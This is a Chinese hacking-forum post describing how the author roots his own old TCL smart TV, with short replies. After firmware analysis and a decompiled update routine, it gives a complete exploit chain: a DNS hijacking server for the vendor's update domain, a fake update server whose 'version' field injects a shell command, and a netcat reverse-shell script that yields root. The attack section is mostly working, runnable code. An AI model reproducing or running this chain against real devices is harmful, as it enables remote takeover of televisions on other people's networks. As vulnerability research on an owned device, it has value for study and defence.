影子经纪人-官网

 找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 170|回复: 10

看我如何PWN掉一款老旧的TCL电视

[复制链接]

该用户从未签到

1

主题

1

帖子

5

积分

新手上路

Rank: 1

积分
5
发表于 2021-7-17 14:06:12 | 显示全部楼层 |阅读模式
0x01前言
    因为疫情影响,被困在农村老家里边,闲得无聊,玩起了一款很久很久以前买的TCl电视,这款电视的操作系统不是安卓,而是定制的Linux系统,
本篇主要记录Pwn该设备的思路以及过程。

0x02 信息收集
电视机型号如下:
网络新闻动向交流-0x01前言    因为疫情影响,被困在农村老家里边,闲得无聊,玩起了一款很久很久以前买的TCl电视(1)
通过简单的搜索,可以找到网友共享出来的固件TCL_MS881_MAIN.bin,运行binwalk -Me TCL_MS881_MAIN.bin对其进行解包,可以直接解出该文件系统,下图是其中一部分关键的文件:
网络新闻动向交流-0x01前言    因为疫情影响,被困在农村老家里边,闲得无聊,玩起了一款很久很久以前买的TCl电视(2)
其中的china_lite_board即为主要的执行文件,负责电视剧大部分图像显示和逻辑处理。



0x03 确定方向

1.nmap扫描端口,发现一个端口都没开,也就是说无法利用一些自带的服务,比如说telnet进入系统。
   2.解包固件打包回去,通过固件升级的方式来获取设备控制权:本身有一定的危险性,可能导致电视机直接变成砖头。
   3.在分析china_lite_board文件时,可以看到进入工程模式的密码:1950
    网络新闻动向交流-0x01前言    因为疫情影响,被困在农村老家里边,闲得无聊,玩起了一款很久很久以前买的TCl电视(3)
进入工程模式可以看到如下选项:
网络新闻动向交流-0x01前言    因为疫情影响,被困在农村老家里边,闲得无聊,玩起了一款很久很久以前买的TCl电视(4)
找了一圈,没有找到关键点,不过其中的一个SSCOM Debug引起了我的注意,通过简单的搜索,发现这是打开串口调试的选项,但是手上没有串口线,这就很难受了。
网络新闻动向交流-0x01前言    因为疫情影响,被困在农村老家里边,闲得无聊,玩起了一款很久很久以前买的TCl电视(5)
3.利用漏洞,比如最简单的命令注入漏洞来获取控制权,一般来说,这种设备对安全不注重,会有一些漏洞产生,尤其是命令注入(比内存破坏类漏洞相对好利用),所以最后还是找找看有没有命令注入漏洞来进行突破。

0x04 发现漏洞
发现命令注入类漏洞主要的思路是找到system函数的所有的引用,再一个个得去分析,最后通过这种方法发现了一个存在于升级功能得命令注入漏洞:
     升级逻辑如下,会请求http://api.upgrade.platform.huan.tv/service/upmp/upgradeIncrInterface获取升级信息:
网络新闻动向交流-0x01前言    因为疫情影响,被困在农村老家里边,闲得无聊,玩起了一款很久很久以前买的TCl电视(6)
     服务器返回得升级信息如下:
    [XML]  
  1. <?xml version="1.0" encoding="UTF-8" standalone="yes"?><upgradeIncrResponse><servertime>1581142666</servertime><callid>e3567c969c2c3d4098a88b960e627804</callid><state>0000</state><note>æå</note><language>zh_CN</language><apiversion>1.0</apiversion></upgradeIncrResponse>
复制代码

   通过字符串搜索找到了处理的代码如下:
   [C]  
  1. undefined4 FUN_00457748(MWidget *param_1)
  2. {
  3.   MWidget MVar1;
  4.   MSRV_NETWORK_LINK_STATUS_e *pMVar2;
  5.   MSRV_NETWORK_IP_STATUS_e *pMVar3;
  6.   int iVar4;
  7.   int iVar5;
  8.   long lVar6;
  9.   long lVar7;
  10.   undefined4 uVar8;
  11.   char *pcVar9;
  12.   int local_1c8;
  13.   int local_1c0;
  14.   uint local_1b8;
  15.   uint local_1b4;
  16.   int local_1a4;
  17.   allocator<char> aaStack412 [4];
  18.   basic_string<char,std--char_traits<char>,std--allocator<char>> abStack408 [4];
  19.   basic_string abStack404 [4];
  20.   allocator<char> aaStack400 [4];
  21.   basic_string<char,std--char_traits<char>,std--allocator<char>> abStack396 [4];
  22.   basic_string abStack392 [4];
  23.   basic_string abStack388 [4];
  24.   undefined4 local_180;
  25.   undefined4 local_17c;
  26.   undefined4 local_178;
  27.   undefined4 local_174;
  28.   undefined4 local_170;
  29.   undefined4 local_16c;
  30.   undefined4 local_168;
  31.   undefined4 local_164;
  32.   undefined4 local_160;
  33.   undefined4 local_15c;
  34.   allocator aaStack344 [52];
  35.   undefined4 local_124;
  36.   undefined2 local_120;
  37.   undefined auStack286 [46];
  38.   statfs asStack240 [2];
  39.   double local_38;
  40.   double local_30;
  41.   double local_28;
  42.   double local_20;
  43.   uint local_18;
  44.      /*..............................*/
  45.       printf("\n[csheng]portalfeedback ==POTAL_FEEDBACK_SUCCESS ..[%s][%d]",
  46.              "./src/NetUpdateFrame.cpp",0x51f);
  47.       *(char *)(param_1 + 0x1f1) = (char)param_1[0x1f1] + '\x01';
  48.       Set((short)*(undefined4 *)(param_1 + 0x1d8) + 0x250);
  49.       Invalidate();
  50.       if (param_1[0x3a00] == (MWidget)0x1) {
  51.         printf("\n[csheng]call_C_MApp_GetPotalData begin...[%s][%d]\n","./src/NetUpdateFrame.cpp",
  52.                0x527);
  53.         uVar8 = call_C_MApp_GetPotalData(0x20,"/Customer/portal/swupg/update.xml");
  54.         *(undefined4 *)(param_1 + 0x3a10) = uVar8;
  55.         printf("\n[csheng]call_C_MApp_GetPotalData->portalfeedback=%d ...[%s][%d]\n",
  56.                *(undefined4 *)(param_1 + 0x3a10),"./src/NetUpdateFrame.cpp",0x529);
  57.       }
  58.       if (*(int *)(param_1 + 0x3a10) == 1) {
  59.         puts("=======SUCCESS========");
  60.         if (param_1[0x3a00] == (MWidget)0x1) {
  61.           printf("\n[csheng]call_C_ParseNewUpdateXml begin...[%s][%d]\n","./src/NetUpdateFrame.cpp",
  62.                  0x530);
  63.           param_1[0x38c] = (MWidget)0x0;
  64.           //解析xml文件
  65.           uVar8 = call_C_ParseNewUpdateXml
  66.                             (param_1 + 0x1f8,param_1 + 0x39e8,"/Customer/portal/swupg/update.xml");
  67.           *(undefined4 *)(param_1 + 0x3a0c) = uVar8;
  68.           printf("\n[csheng]call_C_ParseNewUpdateXml->ret=%d,totoalnums=%d...[%s][%d]\n",
  69.                  *(undefined4 *)(param_1 + 0x3a0c),*(undefined4 *)(param_1 + 0x39e8),
  70.                  "./src/NetUpdateFrame.cpp",0x533);
  71.           printf("\n[csheng]updateinfo->index=%d",*(undefined4 *)(param_1 + 0x78c));
  72.           printf("\n[csheng]updateinfo->md5=%s",param_1 + 0x35a);
  73.           printf("\n[csheng]updateinfo->note=%s",param_1 + 0x38c);
  74.           printf("\n[csheng]updateinfo->size=%s",param_1 + 0x238);
  75.           printf("\n[csheng]updateinfo->source=%s",param_1 + 0x256);
  76.           printf("\n[csheng]updateinfo->title=%s",param_1 + 0x21a);
  77.           printf("\n[csheng]updateinfo->type=%s",param_1 + 0x1f8);
  78.           printf("\n[csheng]updateinfo->url=%s",param_1 + 0x25b);
  79.           printf("\n[csheng]updateinfo->version=%s\n",param_1 + 0x1fc);
  80.         }
  81.         if (*(int *)(param_1 + 0x3a0c) == -1) {
  82.           puts("parse xml file error!");
  83.           return 1;
  84.         }
  85.         puts("\n=======Start Download Package======");
  86.         if (*(int *)(param_1 + 0x39e8) < 1) {
  87.           puts("=======None update info=========");
  88.           param_1[500] = (MWidget)0x2;
  89.           Hide();
  90.           Hide();
  91.           Hide();
  92.           Hide();
  93.           Hide();
  94.           Show();
  95.           SetInitialFocus(param_1);
  96.           SwitchFocusTo(param_1);
  97.           Set((short)*(undefined4 *)(param_1 + 0x1c0) + 0x160);
  98.           Invalidate();
  99.           param_1[499] = (MWidget)0x3;
  100.           KillTimer((ulong)param_1);
  101.           return 1;
  102.         }
  103.         doUpgrdOnce = 1;
  104.         printf("\n[csheng]totoalnums>0,..[%s][%d]","./src/NetUpdateFrame.cpp",0x546);
  105.         if (param_1[0x3a00] == (MWidget)0x1) {
  106.           puts("\r\n=====NoteFlag=1======");
  107.           basic_ostringstream((_Ios_Openmode)asStack240);
  108.           param_1[0x3a00] = (MWidget)0x0;
  109.           param_1[500] = (MWidget)0x0;
  110.           Hide();
  111.           Hide();
  112.           Hide();
  113.           Hide();
  114.           Hide();
  115.           Show();
  116.           SwitchFocusTo(param_1);
  117.           if (param_1[0x38c] == (MWidget)0x0) {
  118.             Set((short)*(undefined4 *)(param_1 + 0x1a4) + 0x160);
  119.           }
  120.           else {
  121.             operator<<<std--char_traits<char>>
  122.                       ((basic_ostream *)asStack240,(char *)(param_1 + 0x38c));
  123.             iVar4 = *(int *)(param_1 + 0x1a4);
  124.             str();
  125.             operator=((basic_string<char,std--char_traits<char>,std--allocator<char>> *)
  126.                       (iVar4 + 0x164),abStack388);
  127.             ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)
  128.                           abStack388);
  129.           }
  130.           SetFlag((char)*(undefined4 *)(param_1 + 0x1a4) + '`','\x01');
  131.           Invalidate();
  132.           param_1[499] = (MWidget)0xc;
  133.           KillTimer((ulong)param_1);
  134.           ~basic_ostringstream
  135.                     ((basic_ostringstream<char,std--char_traits<char>,std--allocator<char>> *)
  136.                      asStack240);
  137.           return 1;
  138.         }
  139.         SetTimer((ulong)param_1,1000,1);
  140.         iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4);
  141.         if (iVar4 == 0) {
  142.           printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x56c);
  143.           lVar6 = atol((char *)(param_1 + 2000));
  144.           if (lVar6 < 0) {
  145.             lVar6 = lVar6 + 0xfffff;
  146.           }
  147.           *(long *)(param_1 + 0x4688) = (lVar6 >> 0x14) + 1;
  148.         }
  149.         iVar4 = strncmp((char *)(param_1 + 0x256),"300",4);
  150.         if (iVar4 == 0) {
  151.           printf("\n[csheng]source=300..[%s][%d]","./src/NetUpdateFrame.cpp",0x571);
  152.           pcVar9 = (char *)GetInstance();
  153.           iVar4 = GetUSBMountPath(pcVar9);
  154.           if (iVar4 == 0) {
  155.             printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x58f);
  156.             param_1[500] = (MWidget)0x3;
  157.             Hide();
  158.             Hide();
  159.             Hide();
  160.             Hide();
  161.             Hide();
  162.             Show();
  163.             SwitchFocusTo(param_1);
  164.             Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);
  165.             Invalidate();
  166.             param_1[499] = (MWidget)0x4;
  167.             KillTimer((ulong)param_1);
  168.             return 1;
  169.           }
  170.           puts("=======Find USB Device============");
  171.           pcVar9 = (char *)GetInstance();
  172.           iVar4 = GetUSBContainer(pcVar9);
  173.           SetTimer((ulong)param_1,500,2);
  174.           lVar6 = atol((char *)(param_1 + 0x238));
  175.           if (lVar6 < 0) {
  176.             lVar6 = lVar6 + 0xfffff;
  177.           }
  178.           if (iVar4 < (lVar6 >> 0x14) + 6 + *(int *)(param_1 + 0x4688)) {
  179.             param_1[500] = (MWidget)0x3;
  180.             Hide();
  181.             Hide();
  182.             Hide();
  183.             Hide();
  184.             Hide();
  185.             Show();
  186.             SwitchFocusTo(param_1);
  187.             Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);
  188.             Invalidate();
  189.             param_1[499] = (MWidget)0x5;
  190.             KillTimer((ulong)param_1);
  191.             return 1;
  192.           }
  193.           local_180 = 0;
  194.           local_17c = 0;
  195.           local_178 = 0;
  196.           local_174 = 0;
  197.           local_170 = 0;
  198.           pcVar9 = (char *)GetInstance();
  199.           GetUSBMountPath(pcVar9);
  200.           sprintf(Downloadaddress,"%s/%s",&local_180,param_1 + 0x21a);
  201.           strcpy(DownloadPath,(char *)&local_180);
  202.         }
  203.         else {
  204.           iVar4 = strncmp((char *)(param_1 + 0x256),"100",4);
  205.           if (iVar4 == 0) {
  206.             printf("\n[csheng]source=100..[%s][%d]","./src/NetUpdateFrame.cpp",0x5a1);
  207.             pcVar9 = (char *)GetInstance();
  208.             iVar4 = GetUSBMountPath(pcVar9);
  209.             if (iVar4 == 0) {
  210.               printf("\n[csheng]no usb..[%s][%d]","./src/NetUpdateFrame.cpp",0x5c1);
  211.               param_1[500] = (MWidget)0x3;
  212.               Hide();
  213.               Hide();
  214.               Hide();
  215.               Hide();
  216.               Hide();
  217.               Show();
  218.               SwitchFocusTo(param_1);
  219.               Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);
  220.               Invalidate();
  221.               param_1[499] = (MWidget)0x4;
  222.               KillTimer((ulong)param_1);
  223.               return 1;
  224.             }
  225.             puts("=======Find USB Device============");
  226.             pcVar9 = (char *)GetInstance();
  227.             iVar4 = GetUSBContainer(pcVar9);
  228.             SetTimer((ulong)param_1,500,2);
  229.             lVar6 = atol((char *)(param_1 + 0x238));
  230.             if (lVar6 < 0) {
  231.               lVar6 = lVar6 + 0xfffff;
  232.             }
  233.             if (iVar4 < (lVar6 >> 0x14) + 6 + *(int *)(param_1 + 0x4688)) {
  234.               printf("\n[csheng]USB Contain have not enough space!!!..[%s][%d]",
  235.                      "./src/NetUpdateFrame.cpp",0x5a9);
  236.               param_1[500] = (MWidget)0x3;
  237.               Hide();
  238.               Hide();
  239.               Hide();
  240.               Hide();
  241.               Hide();
  242.               Show();
  243.               SwitchFocusTo(param_1);
  244.               Set((short)*(undefined4 *)(param_1 + 0x1c8) + 0x160);
  245.               Invalidate();
  246.               param_1[499] = (MWidget)0x5;
  247.               KillTimer((ulong)param_1);
  248.               return 1;
  249.             }
  250.             local_16c = 0;
  251.             local_168 = 0;
  252.             local_164 = 0;
  253.             local_160 = 0;
  254.             local_15c = 0;
  255.             pcVar9 = (char *)GetInstance();
  256.             GetUSBMountPath(pcVar9);
  257.             sprintf(Downloadaddress,"%s/%s",&local_16c,param_1 + 0x1fc);
  258.             strcpy(DownloadPath,(char *)&local_16c);
  259.           }
  260.         }
  261.         iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4);
  262.         if (iVar4 == 0) {
  263.           printf("\n[csheng]source=200..[%s][%d]","./src/NetUpdateFrame.cpp",0x5e1);
  264.           sprintf(DownloadMbootAddress,"%s/%s",DownloadPath,param_1 + 0x7b2);
  265.           pcVar9 = (char *)GetInstance();
  266.           DeleteOtherUpdateFileForMboot(pcVar9,DownloadPath);
  267.         }
  268.         if (local_1a4 < 99) {
  269.           printf("\n[csheng]intpercentage=%d,debugline..[%s][%d]",local_1a4,
  270.                  "./src/NetUpdateFrame.cpp",0x5ec);
  271.           param_1[500] = (MWidget)0x5;
  272.           param_1[499] = (MWidget)0x1a;
  273.           Show();
  274.           Hide();
  275.           Hide();
  276.           Hide();
  277.           Hide();
  278.           Hide();
  279.           SetInitialFocus(param_1);
  280.           SwitchFocusTo(param_1);
  281.           SetCurValue(*(long *)(param_1 + 0x1e4));
  282.           iVar4 = *(int *)(param_1 + 0x1e8);
  283.           allocator();
  284.           basic_string((char *)abStack396,aaStack344);
  285.           operator+<char,std--char_traits<char>,std--allocator<char>>(abStack392,(char *)abStack396)
  286.           ;
  287.           operator=((basic_string<char,std--char_traits<char>,std--allocator<char>> *)
  288.                     (iVar4 + 0x164),abStack392);
  289.           ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)abStack392
  290.                        );
  291.           ~basic_string(abStack396);
  292.           ~allocator(aaStack400);
  293.           Invalidate();
  294.           Invalidate();
  295.         }
  296.         param_1[0x39f4] = (MWidget)0x0;
  297.         printf("\n[csheng]check data space for update..[%s][%d]","./src/NetUpdateFrame.cpp",0x600);
  298.         local_1b4 = 0;
  299.         local_124 = 0x7461642f;
  300.         local_120 = 0x61;
  301.         memset(auStack286,0,0x2c);
  302.         system("/system/bin/stop zygote");
  303.         system("umount -l /mnt/sdcard");
  304.         iVar4 = statfs("/data",asStack240);
  305.         if (-1 < iVar4) {
  306.           printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x61e);
  307.           local_1b4 = (uint)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks);
  308.           printf("\r\n u16USBFreeSpace=%ld",local_1b4,
  309.                  ((int)asStack240[0].f_blocks >> 0x1f) * asStack240[0].f_bavail +
  310.                  (int)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks >> 0x20
  311.                       ));
  312.         }
  313.         iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4);
  314.         if (iVar4 == 0) {
  315.           printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x638);
  316.           lVar6 = atol((char *)(param_1 + 0x238));
  317.           lVar7 = atol((char *)(param_1 + 2000));
  318.           local_1b8 = lVar6 + lVar7;
  319.         }
  320.         else {
  321.           printf("\n[csheng]debugline..[%s][%d]","./src/NetUpdateFrame.cpp",0x63d);
  322.           local_1b8 = atol((char *)(param_1 + 0x238));
  323.         }
  324.         printf("\r\n LoadFilesize=%d",local_1b8);
  325.         if (local_1b4 < local_1b8) {
  326.           printf("\r\n LoadFilesize11=%d",local_1b8);
  327.           pcVar9 = (char *)GetInstance();
  328.           iVar4 = ListFilesDir(pcVar9);
  329.           if (iVar4 == 0) {
  330.             system("/bin/tools/ls -al");
  331.             printf("\r\n remove finished");
  332.           }
  333.           iVar4 = statfs("/data",asStack240);
  334.           if (-1 < iVar4) {
  335.             local_1b4 = (uint)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks
  336.                               );
  337.             printf("\r\n u16USBFreeSpace22=%ld",local_1b4,
  338.                    ((int)asStack240[0].f_blocks >> 0x1f) * asStack240[0].f_bavail +
  339.                    (int)((ulonglong)asStack240[0].f_bavail * (ulonglong)asStack240[0].f_blocks >>
  340.                         0x20));
  341.           }
  342.           if (local_1b4 < local_1b8) {
  343.             system("rm -rf /data/*");
  344.             system("/bin/tools/ls -al");
  345.             sync();
  346.             puts("\r\n rm all ");
  347.           }
  348.         }
  349.         iVar4 = strncmp((char *)(param_1 + 0x256),"200",4);
  350.         if (iVar4 == 0) {
  351.           puts("\nmboot down thread start");
  352.           mbootthreadstatus = 1;
  353.         }
  354.         else {
  355.           puts("\nmain code down thread start");
  356.           codethreadstatus = 1;
  357.         }
  358.         //下载升级包
  359.         iVar4 = pthread_create((pthread_t *)(param_1 + 0x3a04),(pthread_attr_t *)0x0,
  360.                                call_C_Autodownloadpackage,param_1 + 0x1f8);
  361.         SetTimer((ulong)param_1,1000,3);
  362.         if (iVar4 == 0) {
  363.           puts("Create DOWNLOAD thread SUCCESS");
  364.         }
  365.         else {
  366.           printf(" Couldn\'t create DOWNLOAD thread  --errno: %d\n",iVar4);
  367.         }
  368.         iVar4 = strncmp((char *)(param_1 + 0x7ee),"200",4);
  369.         if (iVar4 == 0) {
  370.           puts("\nComing to creat thread of mboot");
  371.           pthread_create((pthread_t *)(param_1 + 0x3a08),(pthread_attr_t *)0x0,downloadpackage,
  372.                          param_1 + 0x790);
  373.         }
  374.         lVar6 = atol((char *)(param_1 + 0x238));
  375.         printf(
  376.                "//------------zhancd 101223 NetUpdateFrame.cpp serverlenmain=%ld------671-------//\n"
  377.                ,lVar6);
  378.         lVar6 = atol((char *)(param_1 + 2000));
  379.         printf(
  380.                "//------------zhancd 101223 NetUpdateFrame.cpp serverlenmboot=%ld------671-------//\n"
  381.                ,lVar6);
  382.         return 1;
  383.       }
  384.       puts("=======FAILURE=======......................==");
  385.       param_1[500] = (MWidget)0x2;
  386.       Hide();
  387.       Hide();
  388.       Hide();
  389.       Hide();
  390.       Hide();
  391.       Show();
  392.       SetInitialFocus(param_1);
  393.       SwitchFocusTo(param_1);
  394.       Set((short)*(undefined4 *)(param_1 + 0x1c0) + 0x160);
  395.       Invalidate();
  396.       param_1[499] = (MWidget)0x7;
  397.       KillTimer((ulong)param_1);
  398.       return 1;
  399.     }
  400.   }
  401.   KillTimer((ulong)param_1);
  402.   return 1;
  403. }
复制代码


进入下载升级包的流程:
网络新闻动向交流-0x01前言    因为疫情影响,被困在农村老家里边,闲得无聊,玩起了一款很久很久以前买的TCl电视(7)



下载之前删除之前下载过的数据包,会将服务端传过来的version直接拼接到命令行中,没有进行任何验证(命令注入漏洞):
网络新闻动向交流-0x01前言    因为疫情影响,被困在农村老家里边,闲得无聊,玩起了一款很久很久以前买的TCl电视(8)

0x05 漏洞利用
   在上面的分析已经介绍了漏洞的成因,主要是没对服务端传过来的version字段进行过滤,那么问题来了,如何伪造服务端的响应触发漏洞?
   DNS劫持
通过将api.upgrade.platform.huan.tv解析到恶意构造的80主机即可,参考别人写的dns劫持代码如下:
[Python]  
  1. #!/usr/bin/python
  2. import socket
  3. import struct
  4. import time
  5. import logging
  6. from logging.handlers import RotatingFileHandler
  7. LOG = logging.getLogger('myip')
  8. LOG.setLevel(logging.INFO)
  9. FORMATTER = logging.Formatter('%(asctime)s %(levelname)s %(message)s')
  10. HANDLER = RotatingFileHandler('myip.log', maxBytes=512000, backupCount=10)
  11. HANDLER.setFormatter(FORMATTER)
  12. LOG.addHandler(HANDLER)
  13. DELAY = 50
  14. MAXSUBDOMAINS = 3
  15. HIAJACK_LIST = [
  16.    "api.upgrade.platform.huan.tv"
  17. ]
  18. LASTQUERY = time.time()
  19. def queryfilter(query, source):
  20.     global LASTQUERY
  21.     elapsed = time.time() - LASTQUERY
  22.     if not query.domain:
  23.         LOG.warning("ignoring query because it has no data. source: %s", source)
  24.         return False
  25.     '''
  26.     if elapsed < DELAY:
  27.         LOG.warning("ignoring query because of delay. delay: %i, domain: %s, source: %s", elapsed, query.domain, source)
  28.         return False
  29.     if len(query.domain.split(".")) > MAXSUBDOMAINS:
  30.         LOG.warning("ignoring query because of too many subdomains. domain: %s, source: %s", query.domain, source)
  31.         return False
  32.     '''
  33.     for bl_domain in HIAJACK_LIST:
  34.         if bl_domain.lower() in query.domain.lower():
  35.             LOG.warning("hijack query for blacklisted domain. domain: %s, source: %s", query.domain, source)
  36.             return True
  37.     return False
  38. def _get_question_section(query):
  39.     # Query format is as follows: 12 byte header, question section (comprised
  40.     # of arbitrary-length name, 2 byte type, 2 byte class), followed by an
  41.     # additional section sometimes. (e.g. OPT record for DNSSEC)
  42.     start_idx = 12
  43.     end_idx = start_idx
  44.     num_questions = (ord(query.data[4]) << 8) | ord(query.data[5])
  45.     while num_questions > 0:
  46.         while query.data[end_idx] != '\0':
  47.             end_idx += ord(query.data[end_idx]) + 1
  48.         # Include the null byte, type, and class
  49.         end_idx += 5
  50.         num_questions -= 1
  51.     return query.data[start_idx:end_idx]
  52. class DNSResponse(object):
  53.     def __init__(self, query):
  54.         self.id = query.data[:2]  # Use the ID from the request.
  55.         self.flags = "\x81\x80"  # No errors, we never have those.
  56.         self.questions = query.data[4:6]  # Number of questions asked...
  57.         # Answer RRs (Answer resource records contained in response) 1 for now.
  58.         self.rranswers = "\x00\x01"
  59.         self.rrauthority = "\x00\x00"  # Same but for authority
  60.         self.rradditional = "\x00\x00"  # Same but for additionals.
  61.         # Include the question section
  62.         self.query = _get_question_section(query)
  63.         # The pointer to the resource record - seems to always be this value.
  64.         self.pointer = "\xc0\x0c"
  65.         # This value is set by the subclass and is defined in TYPE dict.
  66.         self.type = None
  67.         self.dnsclass = "\x00\x01"  # "IN" class.
  68.         # TODO: Make this adjustable - 1 is good for noobs/testers
  69.         self.ttl = "\x00\x00\x00\x01"
  70.         # Set by subclass because is variable except in A/AAAA records.
  71.         self.length = None
  72.         self.data = None  # Same as above.
  73.     def answer(self):
  74.         try:
  75.             return self.id + self.flags + self.questions + self.rranswers + \
  76.                 self.rrauthority + self.rradditional + self.query + \
  77.                 self.pointer + self.type + self.dnsclass + self.ttl + \
  78.                 self.length + self.data
  79.         except (TypeError, ValueError):
  80.             pass
  81. class A(DNSResponse):
  82.     def __init__(self, query, ip):
  83.         super(A, self).__init__(query)
  84.         self.type = "\x00\x01"
  85.         self.length = "\x00\x04"
  86.         self.data = ''.join(chr(int(x)) for x in ip.split('.'))
  87. class DNSQuery:
  88.     def __init__(self, data):
  89.         self.data = data
  90.         self.domain = ''
  91.         tipo = (ord(data[2]) >> 3) & 15   # Opcode bits
  92.         if tipo == 0:                     # Standard query
  93.             ini = 12
  94.             lon = ord(data[ini])
  95.             while lon != 0:
  96.                 self.domain += data[ini+1:ini+lon+1]+'.'
  97.                 ini += lon+1
  98.                 lon = ord(data[ini])
  99. #            self.type = data[ini:][1:3]
  100. #            #print struct.unpack(">H", self.type)
  101. #        else:
  102. #            self.type = data[-4:-2]
  103. hijack_ip='192.168.137.77'
  104. if __name__ == '__main__':
  105.     udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  106.     udps.bind(('', 53))
  107.     try:
  108.         while 1:
  109.             data, addr = udps.recvfrom(1024)
  110.             try:
  111.                 q = DNSQuery(data)
  112.                 if queryfilter(q, addr[0]):
  113.                     print addr[0]
  114.                     r = A(q, hijack_ip)
  115.                     LOG.info('%s -> %s', q.domain, addr[0])
  116.                     udps.sendto(r.answer(), addr)
  117.                 LASTQUERY = time.time()
  118.             except Exception, err:
  119.                 LOG.warning("Exception caused by %s: %s", addr, err)
  120.                 # We don't send data since address could be spoofed
  121.                 #udps.sendto("Invalid request", addr)
  122.     except KeyboardInterrupt:
  123.       print 'Closing'
  124.       udps.close()
复制代码


再编写一个http服务器来响应升级请求,同时插入恶意构造的代码,该代码会直接执行U盘目录下的hack.sh文件:
[Python]  
  1. # coding:utf-8
  2. import socket
  3. import time
  4. import threading
  5. def handle_client(client_socket):
  6.     """
  7.     处理客户端请求
  8.     """
  9.     request_data = client_socket.recv(1024)
  10.     print("request data:", request_data)
  11.     # 构造响应数据
  12.     response_start_line = "HTTP/1.1 200 OK\r\n"
  13.     response_body = '''
  14. <?xml version="1.0" encoding="utf-8"?>
  15. <upgradeIncrResponse>
  16.   <servertime>%d</servertime>
  17.   <callid>e3567c969c2c3d4098a88b960e627804</callid>
  18.   <state>0000</state>
  19.   <note>nihao</note>
  20.   <language>zh_CN</language>
  21.   <upgrade>
  22.     <type>100</type>  
  23.     <apptype>100</apptype>  
  24.     <title>123</title>  
  25.     <md5>123</md5>  
  26.     <version>test'`;sh ./hack.sh;echo `echo '1</version>  
  27.     <size>5</size>  
  28.     <note>pwn by wmsuper</note>  
  29.     <fileurl>[url]http://192.168.137.77[/url]</fileurl>  
  30.     <appid>1</appid>
  31.   </upgrade>
  32. </upgradeIncrResponse>'''%(int(time.time()))
  33.     #response_body='''<?x><callid>e3567c969c2c3d4098a88b960e627804</callid><state>0000</state><note>nihao</note><language>zh_CN</language><apiversion>1.0</apiversion><upgrade><type>100</type><apptype>100</apptype><title>test</title><md5>123</md5><version>1.3</version><size>5</size><note>nihao</note><fileurl>[url]http://www.baidu.com[/url]</fileurl><appid>1</appid></upgrade></upgradeIncrResponse>'''
  34.     response_headers = "Server: My server\r\n"+"Content-Type: application/xml;charset=UTF-8\r\n"+"Content-Length: %d\r\n"%len(response_body)
  35.     response = response_start_line + response_headers + "\r\n" + response_body
  36.     # 向客户端返回响应数据
  37.     client_socket.send(response)
  38.     # 关闭客户端连接
  39.     #client_socket.close()
  40. if __name__ == "__main__":
  41.     server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  42.     server_socket.bind(("", 80))
  43.     server_socket.listen(128)
  44.     while True:
  45.         client_socket, client_address = server_socket.accept()
  46.         print("[%s, %s]用户连接上了" % client_address)
  47.         handle_client_process = threading.Thread(target=handle_client, args=(client_socket,))
  48.         handle_client_process.start()
复制代码


hack.sh文件内容如下:
[Bash shell]  
  1. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.137.1 8848 >/tmp/f
复制代码


0x06 利用效果
在按下通过网络升级的按钮之后,电视机会提示升级的选项框:
    网络新闻动向交流-0x01前言    因为疫情影响,被困在农村老家里边,闲得无聊,玩起了一款很久很久以前买的TCl电视(9)
  点击确定,会触发version字段的恶意代码,执行U盘的反弹shell代码(之前得在主机运行nc -lvp 8848 来监听反弹回来的shell)
网络新闻动向交流-0x01前言    因为疫情影响,被困在农村老家里边,闲得无聊,玩起了一款很久很久以前买的TCl电视(10)

反弹的shell如下,身份是root,到这里可以说已经完全控制该电视了:
网络新闻动向交流-0x01前言    因为疫情影响,被困在农村老家里边,闲得无聊,玩起了一款很久很久以前买的TCl电视(11)

CPU有点渣,没啥可玩性:
网络新闻动向交流-0x01前言    因为疫情影响,被困在农村老家里边,闲得无聊,玩起了一款很久很久以前买的TCl电视(12)

     

该用户从未签到

0

主题

615

帖子

2

积分

新手上路

Rank: 1

积分
2
发表于 2021-7-17 14:06:56 | 显示全部楼层
看的一脸懵逼,但是还是给大佬点赞。
回复

使用道具 举报

该用户从未签到

2

主题

561

帖子

463

积分

中级会员

Rank: 3Rank: 3

积分
463
发表于 2021-7-17 14:07:42 | 显示全部楼层
CPU有点渣,没啥可玩性:  z这句是亮点
回复

使用道具 举报

该用户从未签到

0

主题

615

帖子

2

积分

新手上路

Rank: 1

积分
2
发表于 2021-7-17 14:08:27 | 显示全部楼层
哈哈,国内这些厂商提漏洞也没奖金,所以干脆发出来让大伙学习学习。
回复

使用道具 举报

该用户从未签到

0

主题

615

帖子

2

积分

新手上路

Rank: 1

积分
2
发表于 2021-7-17 14:08:56 | 显示全部楼层
这真是纯折腾了
电视机,我只求能正常开启,收看就好了,实在要折腾就上单独的机顶盒了
实在懒了,就直接电脑连接下完事了
回复

使用道具 举报

该用户从未签到

0

主题

610

帖子

2

积分

新手上路

Rank: 1

积分
2
发表于 2021-7-17 14:09:04 | 显示全部楼层
牛皮,大佬6666666
回复

使用道具 举报

该用户从未签到

2

主题

561

帖子

463

积分

中级会员

Rank: 3Rank: 3

积分
463
发表于 2021-7-17 14:09:53 | 显示全部楼层
不错,以前还在TCL工作过,MS881板卡确实不咋地。
回复

使用道具 举报

该用户从未签到

2

主题

561

帖子

463

积分

中级会员

Rank: 3Rank: 3

积分
463
发表于 2021-7-17 14:10:45 | 显示全部楼层
大神能不能把创维的做个教程  root最好
回复

使用道具 举报

该用户从未签到

0

主题

610

